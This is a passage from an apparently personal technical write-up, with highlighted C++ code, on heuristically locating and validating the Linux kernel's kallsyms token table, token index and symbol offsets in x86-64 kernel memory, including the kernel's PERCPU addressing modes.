</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">strings_count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint16_t</span> <span class="n">pos</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="n">strings_count</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">size_t</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">is_valid_ascii_string</span><span class="p">(</span><span class="o">&amp;</span><span class="n">token_table</span><span class="p">[</span><span class="n">pos</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// len 0 is invalid for token table
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">len</span> <span class="o">&gt;=</span> <span class="n">UINT16_MAX</span> <span class="o">-</span> <span class="n">pos</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pos</span> <span class="o">+=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint16_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">len</span> <span class="o">+</span> <span class="mi">1</span> <span class="cm">/* &#39;\0&#39; */</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">strings_count</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">pos</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Then validate the <code>kallsyms_token_index</code> table. It&rsquo;s a table of 256 uint16_t, first element is 0, ascending order, no element bigger than the token table size.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">token_index</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint16_t</span> <span class="o">*&gt;</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">token_table</span><span class="p">)</span> <span class="o">+</span> <span class="n">token_table_size</span><span class="p">,</span> <span class="n">alignment</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">is_kallsyms_token_index_valid</span><span class="p">(</span><span class="n">token_index</span><span class="p">,</span> <span class="n">token_table_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_kallsyms_token_index_valid</span><span class="p">(</span><span class="kt">uint16_t</span> <span class="o">*</span><span class="n">token_index</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">token_table_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">token_index</span> <span class="o">==</span> <span class="k">nullptr</span> <span class="o">||</span> <span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_range_mapped</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">token_index</span><span class="p">),</span> <span class="mi">512</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">token_index</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">token_index</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="n">token_index</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">||</span> <span class="n">token_index</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="n">token_table_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now check whether <code>kallsyms_offsets</code> is post or prior to <code>kallsyms_token_index</code> (or neither, if this isn&rsquo;t kallsyms at all):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl">  <span class="n">found_ksms</span><span class="p">.</span><span class="n">num_syms</span> <span class="o">=</span> <span class="n">num_syms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">found_ksms</span><span class="p">.</span><span class="n">names</span> <span class="o">=</span> <span class="n">names</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">found_ksms</span><span class="p">.</span><span class="n">markers</span> <span class="o">=</span> <span class="n">markers</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">found_ksms</span><span class="p">.</span><span class="n">token_table</span> <span class="o">=</span> <span class="n">token_table</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">found_ksms</span><span class="p">.</span><span class="n">token_index</span> <span class="o">=</span> <span class="n">token_index</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">found_ksms</span><span class="p">.</span><span class="n">traits</span> <span class="o">=</span> <span class="n">is_uleb</span> <span class="o">?</span> <span class="nl">TRAIT_NAME_LEN_ULEB128</span> <span class="p">:</span> <span class="n">TRAIT_NAME_LEN_U8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">inferred_traits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">kallsyms_are_offsets_post_token_index</span><span class="p">(</span><span class="o">&amp;</span><span class="n">found_ksms</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">inferred_traits</span><span class="p">,</span> <span class="n">alignment</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">found_ksms</span><span class="p">.</span><span class="n">traits</span> <span class="o">|=</span> <span class="n">inferred_traits</span> <span class="o">|</span> <span class="n">TRAIT_OFFSETS_POST_TOKEN_INDEX</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">ksms</span> <span class="o">=</span> <span class="n">found_ksms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">inferred_traits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">kallsyms_are_offsets_before_num_syms</span><span class="p">(</span><span class="o">&amp;</span><span class="n">found_ksms</span><span class="p">,</span> <span class="n">num_syms_addr</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">found_ksms</span><span class="p">.</span><span class="n">traits</span> <span class="o">|=</span> <span class="n">inferred_traits</span> <span class="o">|</span> <span class="n">TRAIT_OFFSETS_PRECEDES_NUM_SYMS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">ksms</span> <span class="o">=</span> <span class="n">found_ksms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>A valid <code>kallsyms_relative_base</code> falls within start kernel map range (as far as I&rsquo;m concerned, its value is the same as the lowest vmlinux symbol address (always stext?)). For each one of <code>kallsyms_are_offsets_post_token_index</code> and <code>kallsyms_are_offsets_before_token_index</code> <code>kallsyms_offsets</code> has to be verified with base relative trait, base relative with PERCPU, or self displaced. Self displaced addresses don&rsquo;t need <code>kallsyms_relative_base</code>, so this is almost certainly absent. If present, <code>kallsyms_relative_base</code> is right after <code>kallsyms_offsets</code>. Regarding <code>TRAIT_ADDR_BASE_DISPLACED</code> accompanying <code>TRAIT_ADDR_ABSOLUTE_PERCPU</code>, this is correct. I&rsquo;m not schizo nor this is an LLM hallucination (this writeup and the code were 100% written by me). The Linux kernel is to blame for the naming, I just copied it:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kt">long</span> <span class="nf">kallsyms_sym_address</span><span class="p">(</span><span class="kt">int</span> <span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ENABLED</span><span class="p">(</span><span class="n">CONFIG_KALLSYMS_BASE_RELATIVE</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">kallsyms_addresses</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/* values are unsigned offsets if --absolute-percpu is not in effect */</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ENABLED</span><span class="p">(</span><span class="n">CONFIG_KALLSYMS_ABSOLUTE_PERCPU</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">kallsyms_relative_base</span> <span class="o">+</span> <span class="p">(</span><span class="n">u32</span><span class="p">)</span><span class="n">kallsyms_offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/* ...otherwise, positive offsets are absolute values */</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">kallsyms_offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">kallsyms_offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/* ...and negative offsets are relative to kallsyms_relative_base - 1 */</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">kallsyms_relative_base</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">kallsyms_offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>&ldquo;&hellip;otherwise, positive offsets are absolute values&rdquo;. So PERCPU kallsyms addressing is base displaced when <code>kallsyms_offsets[idx]</code> is positive and absolute otherwise.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">kallsyms_are_offsets_post_token_index</span><span class="p">(</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">ks</span> <span class="o">*</span><span class="n">lo</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">traits</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                     <span class="kt">int</span> <span class="n">alignment</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">using</span> <span class="k">namespace</span> <span class="n">kallsyms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">offsets_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">offsets_end</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">offsets_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">kallsyms_relative_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int32_t</span> <span class="o">*</span><span class="n">offsets</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// token index has size 256 * sizeof(uint16_t) (512)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">offsets_address</span> <span class="o">=</span> <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">lo</span><span class="o">-&gt;</span><span class="n">token_index</span><span class="p">)</span> <span class="o">+</span> <span class="mi">512</span><span class="p">,</span> <span class="n">alignment</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">offsets_size</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="n">size_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">)</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int32_t</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_range_mapped</span><span class="p">(</span><span class="n">offsets_address</span><span class="p">,</span> <span class="n">offsets_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">offsets</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">offsets_address</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">offsets_end</span> <span class="o">=</span> <span class="n">offsets_address</span> <span class="o">+</span> <span class="n">offsets_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// tests for TRAIT_ADDR_BASE_DISPLACED kallsyms
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">offsets_end</span><span class="p">,</span> <span class="mi">8</span><span class="p">)))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">offsets_end</span><span class="p">,</span> <span class="mi">8</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">kallsyms_relative_base</span> <span class="o">&gt;=</span> <span class="n">X86_64_KERNEL_VA_MIN</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="n">kallsyms_relative_base</span> <span class="o">&lt;=</span> <span class="n">X86_64_KERNEL_VA_MAX</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms_offsets</span><span class="p">(</span><span class="n">offsets</span><span class="p">,</span> <span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">,</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                               <span class="n">kallsyms_relative_base</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">lo</span><span class="o">-&gt;</span><span class="n">offsets</span> <span class="o">=</span> <span class="n">offsets</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">lo</span><span class="o">-&gt;</span><span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="n">kallsyms_relative_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">traits</span> <span class="o">=</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms_offsets</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">              <span class="n">offsets</span><span class="p">,</span> <span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">,</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span> <span class="o">|</span> <span class="n">TRAIT_ADDR_ABSOLUTE_PERCPU</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="n">kallsyms_relative_base</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">lo</span><span class="o">-&gt;</span><span class="n">offsets</span> <span class="o">=</span> <span class="n">offsets</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">lo</span><span class="o">-&gt;</span><span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="n">kallsyms_relative_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">traits</span> <span class="o">=</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span> <span class="o">|</span> <span class="n">TRAIT_ADDR_ABSOLUTE_PERCPU</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms_offsets</span><span class="p">(</span><span class="n">offsets</span><span class="p">,</span> <span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">,</span> <span class="n">TRAIT_ADDR_SELF_DISPLACED</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">lo</span><span class="o">-&gt;</span><span class="n">offsets</span> <span class="o">=</span> <span class="n">offsets</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">lo</span><span class="o">-&gt;</span><span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="n">traits</span> <span class="o">=</span> <span class="n">TRAIT_ADDR_SELF_DISPLACED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>kallsyms_are_offsets_before_num_syms</code> is basically the same function but guessing offsets preceding <code>kallsyms_num_syms</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">kallsyms_are_offsets_before_num_syms</span><span class="p">(</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">ks</span> <span class="o">*</span><span class="n">lo</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="n">num_syms_addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">using</span> <span class="k">namespace</span> <span class="n">kallsyms</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">kallsyms_relative_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">offsets_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">offsets_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int32_t</span> <span class="o">*</span><span class="n">offs</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// tests for TRAIT_ADDR_BASE_DISPLACED kallsyms
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">num_syms_addr</span> <span class="o">-</span> <span class="mi">8</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint64_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">num_syms_addr</span> <span class="o">-</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">kallsyms_relative_base</span> <span class="o">&gt;=</span> <span class="n">X86_64_KERNEL_VA_MIN</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="n">kallsyms_relative_base</span> <span class="o">&lt;=</span> <span class="n">X86_64_KERNEL_VA_MAX</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">offsets_size</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="n">size_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">)</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int32_t</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// has to be 8 byte aligned as per the architecture
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="n">offsets_address</span> <span class="o">=</span> <span class="n">num_syms_addr</span> <span class="o">-</span> <span class="mi">8</span> <span class="o">-</span> <span class="n">offsets_size</span> <span class="o">-</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ALIGNED</span><span class="p">(</span><span class="n">offsets_size</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span> <span class="o">?</span> <span class="mi">4</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">offs</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">offsets_address</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">pt</span><span class="o">::</span><span class="n">is_range_mapped</span><span class="p">(</span><span class="n">offsets_address</span><span class="p">,</span> <span class="n">offsets_size</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// if CONFIG_KALLSYMS_ABSOLUTE_PERCPU is not set, offsets are unsigned integers
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms_offsets</span><span class="p">(</span><span class="n">offs</span><span class="p">,</span> <span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">,</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">lo</span><span class="o">-&gt;</span><span class="n">offsets</span> <span class="o">=</span> <span class="n">offs</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">lo</span><span class="o">-&gt;</span><span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="n">kallsyms_relative_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">lo</span><span class="o">-&gt;</span><span class="n">traits</span> <span class="o">|=</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// if CONFIG_KALLSYMS_ABSOLUTE_PERCPU IS set
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms_offsets</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="n">offs</span><span class="p">,</span> <span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">,</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span> <span class="o">|</span> <span class="n">TRAIT_ADDR_ABSOLUTE_PERCPU</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="n">kallsyms_relative_base</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">lo</span><span class="o">-&gt;</span><span class="n">offsets</span> <span class="o">=</span> <span class="n">offs</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">lo</span><span class="o">-&gt;</span><span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="n">kallsyms_relative_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">lo</span><span class="o">-&gt;</span><span class="n">traits</span> <span class="o">|=</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span> <span class="o">|</span> <span class="n">TRAIT_ADDR_ABSOLUTE_PERCPU</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// test for TRAIT_ADDR_ABSOLUTE
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">offsets_size</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="n">size_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">)</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">offsets_address</span> <span class="o">=</span> <span class="n">num_syms_addr</span> <span class="o">-</span> <span class="n">offsets_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ALIGNED</span><span class="p">(</span><span class="n">offsets_address</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
